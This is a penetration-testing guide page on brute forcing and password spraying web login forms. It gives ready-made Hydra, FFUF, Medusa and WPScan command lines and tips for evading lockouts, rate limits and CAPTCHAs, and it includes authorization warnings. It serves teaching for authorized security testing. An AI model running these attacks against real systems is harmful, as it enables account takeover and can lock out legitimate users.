> ## Documentation Index
> Fetch the complete documentation index at: https://0-x.dev/llms.txt
> Use this file to discover all available pages before exploring further.

# Web Login Brute Forcing

Brute forcing a login form means throwing credentials at it until one works, either guessing a single user's password (brute force) or trying one weak password across many usernames (password spraying, far less likely to trigger a lockout).

> **Brute Force**
>
> Many passwords against one username. Fast but loud, and the first thing a lockout policy is designed to catch.

> **Password Spraying**
>
> One or two common passwords against many usernames. Slower and stealthier, stays under most per-account lockout thresholds.

> [!WARNING]
>
> Login brute forcing is noisy and can lock out real accounts, especially in spraying mode against an AD-backed login. Confirm it's in scope and, where possible, confirm the lockout threshold first.

***

## Hydra

Hydra is the default choice for form-based login brute forcing, it handles both GET and POST-based forms and HTTP Basic Auth out of the box.

HTTP Basic Auth doesn't need a form definition, just the protected path.

```shellscript wrap theme={null}
hydra -L <usernames> -P <passswords> TARGET_IP http-get /PATH
```

POST form brute forcing needs the login path, the POST body with `^USER^`/`^PASS^` placeholders, and a condition string that tells Hydra what a failed attempt looks like. `S=` matches on success (e.g. a redirect status), `F=` matches on failure (e.g. an error string in the response body).

```shellscript wrap theme={null}
hydra -L <usernames> -P <passwords> TARGET.TLD http-post-form "/login:username=^USER^&password=^PASS^:S=302"
```

A fixed username against a specific login path, matching on an error string instead of a status code, useful when the app always returns 200 regardless of outcome.

```shellscript wrap theme={null}
hydra -l admin -P <passwords> TARGET.TLD http-post-form "/admin.php:username=^USER^&password=^PASS^:F=Incorrect username or password"
```

> [!TIP]
>
> If the app sets a session cookie before the login POST (common with CSRF-token-protected forms), pass it with the `H=Cookie:...` field at the end of the module string. You'll usually need to grab a fresh cookie/token with curl first, since Hydra can't do that itself.
>
> ```shellscript theme={null}
> hydra -l admin -P wordlist.txt TARGET.TLD http-post-form "/login:username=^USER^&password=^PASS^&csrf_token=TOKEN_VALUE:F=Incorrect:H=Cookie: PHPSESSID=SESSION_VALUE"
> ```

Useful flags for tuning speed and output.

<table>
  <colgroup>
    <col width="140" />

    <col width="516" />
  </colgroup>

  <thead>
    <tr>
      <th>Flag</th>
      <th>Purpose</th>
    </tr>
  </thead>

  <tbody>
    <tr>
      <td>`-t N`</td>
      <td>Number of parallel tasks (lower this against a lockout policy or a fragile target)</td>
    </tr>

    <tr>
      <td>`-f`</td>
      <td>Stop on first valid credential pair found</td>
    </tr>

    <tr>
      <td>`-vV`</td>
      <td>Verbose, show every attempt as it happens</td>
    </tr>

    <tr>
      <td>`-o results.txt`</td>
      <td>Save found credentials to a file</td>
    </tr>

    <tr>
      <td>`-I`</td>
      <td>Ignore an existing restore file instead of resuming</td>
    </tr>
  </tbody>
</table>

***

## FFUF for Login Forms

FFUF works just as well as Hydra for POST-based login brute forcing, and it's often easier to tune since you can filter directly on response size or status, handy when the failure condition isn't a clean string match.

```shellscript wrap theme={null}
ffuf -w /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-100.txt -u http://TARGET.TLD/login -X POST -d "username=admin&password=FUZZ" -H "Content-Type: application/x-www-form-urlencoded" -fc 200
```

Spraying one password across many usernames swaps which field `FUZZ` sits in, and needs two wordlists fuzzed together with FFUF's multi-wordlist syntax.

```shellscript wrap theme={null}
ffuf -w /usr/share/seclists/Usernames/top-usernames-shortlist.txt:FUZZUSER -w passwords-small.txt:FUZZPASS -u http://TARGET.TLD/login -X POST -d "username=FUZZUSER&password=FUZZPASS" -H "Content-Type: application/x-www-form-urlencoded" -fc 200
```

***

## Medusa

Medusa is a solid Hydra alternative, especially for HTTP Basic/Digest auth, and tends to be noticeably faster on large wordlists against simple auth schemes.

```shellscript theme={null}
medusa -h TARGET_IP -U /usr/share/seclists/Usernames/top-usernames-shortlist.txt -P /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-100.txt -M http -m DIR:/PATH
```

***

## Burp Suite Intruder

> [!TIP]
>
> Burp Intruder is the right tool once a form has CSRF tokens, multi-step logins, or anti-automation checks that Hydra and FFUF can't handle cleanly. It replays through the same browser session, so tokens, cookies, and redirects all stay intact automatically.

Use **Sniper** mode with a single payload position on the password field for a standard brute force, or **Pitchfork** mode with two payload lists (usernames + passwords) wired to run in lockstep for password spraying, pairing each username with the same password per round instead of every combination.

***

> **CMS-specific login brute forcers**
>
> Once you've fingerprinted the CMS (see [Passive Information Gathering](https://0-x.dev/passive-information-gathering.md)), a purpose-built tool usually beats a generic form brute force since it already knows the login endpoint and field names.
>
> ```shellscript theme={null}
> wpscan --url http://TARGET.TLD --usernames admin --passwords /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-100.txt   # WordPress
> cmsmap -f W http://TARGET.TLD                                                                                                                          # WordPress/Joomla/Drupal/Moodle fingerprint + common checks
> joomscan --url http://TARGET.TLD                                                                                                                        # Joomla-specific enumeration
> ```

> **Bypassing lockouts, CAPTCHAs, and rate limits**
>
> * **Password spraying instead of brute forcing** keeps attempts-per-account low enough to stay under most lockout thresholds.
> * **Rotating source IPs or `X-Forwarded-For`** sometimes defeats an IP-based rate limit if the app trusts that header for its own logging/limiting (test this, don't assume it).
> * **Slowing down requests** (`-t 1`, a `sleep` between Burp Intruder requests) avoids tripping a request-rate WAF rule, at the obvious cost of speed.
> * **CAPTCHA-protected forms** usually aren't worth brute forcing directly, look instead for a parallel endpoint (an old API, a password reset flow) that skips the CAPTCHA entirely.

***

## Quick Reference Tools

> **[SecLists](https://github.com/danielmiessler/SecLists)**
>
> Username and password wordlists, including common-credentials and breach-derived lists.

> **[Hydra](https://github.com/vanhauser-thc/thc-hydra)**
>
> The default tool for HTTP Basic Auth and form-based login brute forcing.

> **[FFUF](https://github.com/ffuf/ffuf)**
>
> Flexible fuzzer, also solid for login brute forcing with response-based filtering.

> **[WPScan](https://github.com/wpscanteam/wpscan)**
>
> WordPress-specific vulnerability scanner with built-in login brute forcing.

> [!WARNING]
>
> Only run these against targets you're explicitly authorized to test. Account lockouts, especially against AD-backed logins, can cause real outages, confirm scope and lockout policy before starting.


This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.